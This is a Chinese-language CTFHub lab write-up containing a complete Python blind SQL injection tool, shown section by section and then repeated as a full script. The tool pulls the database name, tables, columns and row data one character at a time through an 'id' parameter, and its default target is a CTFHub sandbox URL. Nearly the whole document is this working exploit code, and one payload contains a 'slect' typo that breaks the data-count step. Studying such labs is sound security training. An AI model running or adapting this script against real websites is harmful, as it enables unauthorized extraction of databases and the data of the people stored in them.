靶场:CTFHub
设置重新连接,默认的情况下keep-alive为True
# -*- coding: UTF-8 -*-
import requests
import optparse # 实现为脚本传递命令参数
import time
DBName = "" # 数据库名的变量
DBTables = []
DBColumns = []
DBData = {}
flag = "query_success" # 判断盲注Ture回显的特定内容
r1 = int(input('设置重连次数,一般为5按情况自行调整,连接活跃默认设置为False:'))
requests.adapters.DEFAULT_RETRIES = r1
conn = requests.session()
conn.keep_alive = False # 设置重连次数(自行调整),连接活跃状态为False
跑数据库函数
def GetDBName(url):
global DBName
'''
数据库名的长度
'''
print('[-]开始获取数据库名的长度')
DBNameLen = 0 # 初始长度为0
payload = "1 and if(length(database())={0},1,0)#"
targetUrl = url + payload # 调用函数后传递的url与payload拼接,下发targetUrl为最终请求url
for DBNameLen in range(1,99):
res = conn.get(targetUrl.format(DBNameLen)) # 实例化猜解;遍历从1到98;然后将遍历的数带入payload
# if in判断返回,中文乱码pycharm编译器里编码设置成 -*- coding: UTF-8 -*-解决
if flag in res.content.decode("utf-8"):
print("[+]数据库长度:"+ str(DBNameLen))
break
'''
数据库名
'''
print("[-]开始获取数据库名")
payload = "1 and if(ascii(substr(database(),{0},1))={1},1,0)"
targetUrl = url + payload
# 遍历a,b于targetUrl,range从1,1开始
for a in range(1,DBNameLen+1):
for b in range(33,127): # asc码33,126+1
res = conn.get(targetUrl.format(a, b))
if flag in res.content.decode("utf-8"):
#自增,chr()会在range内的(就是0~255)整数作参数,返回一个对应的字符
DBName += chr(b)
print("[-]"+ DBName)
break
表函数
def GetDBTables(url, dbname):
global DBTables
'''
获取表的数量
'''
DBTableCount = 0 # 初始长度为0
print("[-]开始获取{0}数据库表的数量".format(dbname)) # dbname=数据库
payload = "1 and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0)"
targetUrl = url + payload
for DBTableCount in range(1, 99): # 遍历获取数据库表的数量
res = conn.get(targetUrl.format(dbname,DBTableCount))
if flag in res.content.decode("utf-8"):
print("[+]{0}数据库中表的数量为:{1}".format(dbname, DBTableCount))
break
print("[-]开始获取{0}数据库的表".format(dbname))
'''
获取表的长度
'''
tableLen = 0
# a表示当前正在获取表的索引
for a in range(0, DBTableCount):
print("[-]正在获取第{0}个表名".format(a + 1))
for tableLen in range(1,99):
# 进入遍历,获取表名的长度,{0}可以用database()代替
payload = "1 and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname, a, tableLen))
if flag in res.content.decode("utf-8"):
break
'''
获取表名
'''
table = "" # 获取表名
# b表示当前表名猜解的位置
for b in range(1, tableLen + 1):
payload = "1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0)"
# select table_name from information_schema.tables where table_schema='sqli' limit 1, 1 表名
# substr(表名,1,1) = x # 第一个表名的第一个字符
# ascii(字符) = y
targetUrl = url + payload
for c in range(33, 127):
res = conn.get(targetUrl.format(dbname, a, b, c))
if flag in res.content.decode("utf-8"):
table += chr(c)
print(table)
break
DBTables.append(table) # 将获取的表名加入DBTables后清空
table = ""
字段函数
def GetDBColumns(url, dbname, dbtable): # 此处的dbname和dbtable将在主函数时被调用
global DBColumns
'''
获取表内字段数数量
'''
DBColumnCount = 0 # 初始为0
print("[-]开始获取{0}数据表的字段数:".format(dbtable))
for DBColumnCount in range(99):
payload = "1 and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0)" # 字段数
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
if flag in res.content.decode("utf-8"):
print("[-]{0}数据表的字段数为:{1}".format(dbtable,DBColumnCount))
break
'''
# 根据字段数量跑字段名称
'''
column = ""
# a表示当前获取字段的索引
for a in range(0, DBColumnCount):
print("[-]正在获取第{0}个字段名".format(a+1))
# 先获取字段的长度
for columnLen in range(99):
payload = "1 and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
if flag in res.content.decode("utf-8"):
break
for b in range(1,columnLen+1):
payload = "1 and if(ascii(substr((select column_name from information_schema.columns where table_schema = '{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0)"
targetUrl = url + payload
# c表示在asc码中33~126位
for c in range(33,127):
res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
if flag in res.content.decode("utf-8"):
column += chr(c)
print(column)
break
DBColumns.append(column)
# 清空colimn,用来获取下一个字段名
column = ""
字段内容函数
def GetDBData(url,dbtable,dbcolumn):
global DBData
'''
获取表内字段的数据数量
'''
DBDataCount = 0
try:
print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable,dbcolumn))
for DBDataCount in range(99):
payload = "1 and if((slect count({0}) from {1})={2},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount))
if flag in res.content.decode("utf-8"):
print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable,dbcolumn,DBDataCount))
break
for a in range(0,DBDataCount):
print("[-]正在获取{0}的第{1}个数据".format(dbcolumn,a+1))
# 先获取这个数据的长度
dataLen = 0
for dataLen in range(99):
payload = "1 and if((select length({0}) from {1} limit {2},1)={3},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen))
if flag in res.content.decode("utf-8"):
print("[-]第{0}个数据长度为:{1}".format(a+1,dataLen))
break
# 临时存放数据的具体内容
data = ""
# b表示当前数据内容猜解的位置
for b in range(1,dataLen+1):
for c in range(33,127):
payload = "1 and if(ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c))
if flag in res.content.decode("utf-8"):
data += chr(c)
print(data)
break
DBData.setdefault(dbcolumn,[]).append(data) # 当不存在dbcolumn时,增入[]
print(DBData)
# 清空
data = ""
except Exception as ganyu:
print(f'完成;{dbcolumn}为最后一个字段内容;(如请求过快请再次请求)')
主函数
def StartSqli(url): # 主函数
GetDBName(url) # 数据库函数,传入url
print("[+]当前数据库名:{0}".format(DBName))
GetDBTables(url,DBName) # 表函数,传入url和数据库名
print("[+]当前数据库{0}的表名如下:".format(DBName))
for item in range(len(DBTables)):
print("(" + str(item + 1) + ")" + DBTables[item])
tableIndex = int(input("[*]请输入要查看的表的序号:")) - 1
GetDBColumns(url, DBName, DBTables[tableIndex]) # 字段函数,传入url、数据库名、表名
while True:
print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
for item in range(len(DBColumns)):
print("(" + str(item + 1) + ")" + DBColumns[item])
columnIndex = int(input("[*]请输入要查看的字段的序号(输入0退出):")) - 1
if columnIndex == -1:
break
else:
GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
当前脚本运行,实现为脚本传递命令参数,%prog是optparse定义的格式化字符串符号,表示本程序的文件名,可填可不填
if __name__ == '__main__':
parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://challenge-2f81434032b5d77c.sandbox.ctfhub.com:10800/?id=')
# 目标URL参数-u # dest:存取该选项参数的变量名,default:选项参数的默认值
parser.add_option('-u', '--url', dest='targetURL',default='http://challenge-2f81434032b5d77c.sandbox.ctfhub.com:10800/?id=', type='string',help='target URL')
(options, args) = parser.parse_args()
StartSqli(options.targetURL)
总脚本
# -*- coding: UTF-8 -*-
import requests
import optparse # 实现为脚本传递命令参数
import time
DBName = "" # 数据库名的变量
DBTables = []
DBColumns = []
DBData = {}
flag = "query_success" # 判断盲注Ture回显的特定内容
r1 = int(input('设置重连次数,一般为5按情况自行调整,连接活跃默认设置为False:'))
requests.adapters.DEFAULT_RETRIES = r1
conn = requests.session()
conn.keep_alive = False # 设置重连次数(自行调整),连接活跃状态为False
# 数据库函数
def GetDBName(url):
global DBName
'''
数据库名的长度
'''
print('[-]开始获取数据库名的长度')
DBNameLen = 0 # 初始长度为0
payload = "1 and if(length(database())={0},1,0)#"
targetUrl = url + payload # 调用函数后传递的url与payload拼接,下发targetUrl为最终请求url
for DBNameLen in range(1,99):
res = conn.get(targetUrl.format(DBNameLen)) # 实例化猜解;遍历从1到98;然后将遍历的数带入payload
# if in判断返回,中文乱码pycharm编译器里编码设置成 -*- coding: UTF-8 -*-解决
if flag in res.content.decode("utf-8"):
print("[+]数据库长度:"+ str(DBNameLen))
break
'''
数据库名
'''
print("[-]开始获取数据库名")
payload = "1 and if(ascii(substr(database(),{0},1))={1},1,0)"
targetUrl = url + payload
# 遍历a,b于targetUrl,range从1,1开始
for a in range(1,DBNameLen+1):
for b in range(33,127): # asc码33,126+1
res = conn.get(targetUrl.format(a, b))
if flag in res.content.decode("utf-8"):
#自增,chr()会在range内的(就是0~255)整数作参数,返回一个对应的字符
DBName += chr(b)
print("[-]"+ DBName)
break
# 表函数
def GetDBTables(url, dbname):
global DBTables
'''
获取表的数量
'''
DBTableCount = 0 # 初始长度为0
print("[-]开始获取{0}数据库表的数量".format(dbname)) # dbname=数据库
payload = "1 and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0)"
targetUrl = url + payload
for DBTableCount in range(1, 99): # 遍历获取数据库表的数量
res = conn.get(targetUrl.format(dbname,DBTableCount))
if flag in res.content.decode("utf-8"):
print("[+]{0}数据库中表的数量为:{1}".format(dbname, DBTableCount))
break
print("[-]开始获取{0}数据库的表".format(dbname))
'''
获取表的长度
'''
tableLen = 0
# a表示当前正在获取表的索引
for a in range(0, DBTableCount):
print("[-]正在获取第{0}个表名".format(a + 1))
for tableLen in range(1,99):
# 进入遍历,获取表名的长度,{0}可以用database()代替
payload = "1 and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname, a, tableLen))
if flag in res.content.decode("utf-8"):
break
'''
获取表名
'''
table = "" # 获取表名
# b表示当前表名猜解的位置
for b in range(1, tableLen + 1):
payload = "1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0)"
# select table_name from information_schema.tables where table_schema='sqli' limit 1, 1 表名
# substr(表名,1,1) = x # 第一个表名的第一个字符
# ascii(字符) = y
targetUrl = url + payload
for c in range(33, 127):
res = conn.get(targetUrl.format(dbname, a, b, c))
if flag in res.content.decode("utf-8"):
table += chr(c)
print(table)
break
DBTables.append(table) # 将获取的表名加入DBTables后清空
table = ""
# 字段函数
def GetDBColumns(url, dbname, dbtable): # 此处的dbname和dbtable将在主函数时被调用
global DBColumns
'''
获取表内字段数数量
'''
DBColumnCount = 0 # 初始为0
print("[-]开始获取{0}数据表的字段数:".format(dbtable))
for DBColumnCount in range(99):
payload = "1 and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0)" # 字段数
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
if flag in res.content.decode("utf-8"):
print("[-]{0}数据表的字段数为:{1}".format(dbtable,DBColumnCount))
break
'''
# 根据字段数量跑字段名称
'''
column = ""
# a表示当前获取字段的索引
for a in range(0, DBColumnCount):
print("[-]正在获取第{0}个字段名".format(a+1))
# 先获取字段的长度
for columnLen in range(99):
payload = "1 and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
if flag in res.content.decode("utf-8"):
break
for b in range(1,columnLen+1):
payload = "1 and if(ascii(substr((select column_name from information_schema.columns where table_schema = '{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0)"
targetUrl = url + payload
# c表示在asc码中33~126位
for c in range(33,127):
res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
if flag in res.content.decode("utf-8"):
column += chr(c)
print(column)
break
DBColumns.append(column)
# 清空colimn,用来获取下一个字段名
column = ""
# 字段内容函数
def GetDBData(url,dbtable,dbcolumn):
global DBData
'''
获取表内字段的数据数量
'''
DBDataCount = 0
try:
print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable,dbcolumn))
for DBDataCount in range(99):
payload = "1 and if((slect count({0}) from {1})={2},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount))
if flag in res.content.decode("utf-8"):
print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable,dbcolumn,DBDataCount))
break
for a in range(0,DBDataCount):
print("[-]正在获取{0}的第{1}个数据".format(dbcolumn,a+1))
# 先获取这个数据的长度
dataLen = 0
for dataLen in range(99):
payload = "1 and if((select length({0}) from {1} limit {2},1)={3},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen))
if flag in res.content.decode("utf-8"):
print("[-]第{0}个数据长度为:{1}".format(a+1,dataLen))
break
# 临时存放数据的具体内容
data = ""
# b表示当前数据内容猜解的位置
for b in range(1,dataLen+1):
for c in range(33,127):
payload = "1 and if(ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0)"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c))
if flag in res.content.decode("utf-8"):
data += chr(c)
print(data)
break
DBData.setdefault(dbcolumn,[]).append(data) # 当不存在dbcolumn时,增入[]
print(DBData)
# 清空
data = ""
except Exception as ganyu:
print(f'完成;{dbcolumn}为最后一个字段内容;(如请求过快请再次请求)')
# 主函数控制
def StartSqli(url): # 主函数
GetDBName(url) # 数据库函数,传入url
print("[+]当前数据库名:{0}".format(DBName))
GetDBTables(url,DBName) # 表函数,传入url和数据库名
print("[+]当前数据库{0}的表名如下:".format(DBName))
for item in range(len(DBTables)):
print("(" + str(item + 1) + ")" + DBTables[item])
tableIndex = int(input("[*]请输入要查看的表的序号:")) - 1
GetDBColumns(url, DBName, DBTables[tableIndex]) # 字段函数,传入url、数据库名、表名
while True:
print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
for item in range(len(DBColumns)):
print("(" + str(item + 1) + ")" + DBColumns[item])
columnIndex = int(input("[*]请输入要查看的字段的序号(输入0退出):")) - 1
if columnIndex == -1:
break
else:
GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
# 当前脚本运行,实现为脚本传递命令参数,%prog是optparse定义的格式化字符串符号,表示本程序的文件名,可填可不填
if __name__ == '__main__':
parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://challenge-2f81434032b5d77c.sandbox.ctfhub.com:10800/?id=')
# 目标URL参数-u # dest:存取该选项参数的变量名,default:选项参数的默认值
parser.add_option('-u', '--url', dest='targetURL',default='http://challenge-2f81434032b5d77c.sandbox.ctfhub.com:10800/?id=', type='string',help='target URL')
(options, args) = parser.parse_args()
StartSqli(options.targetURL)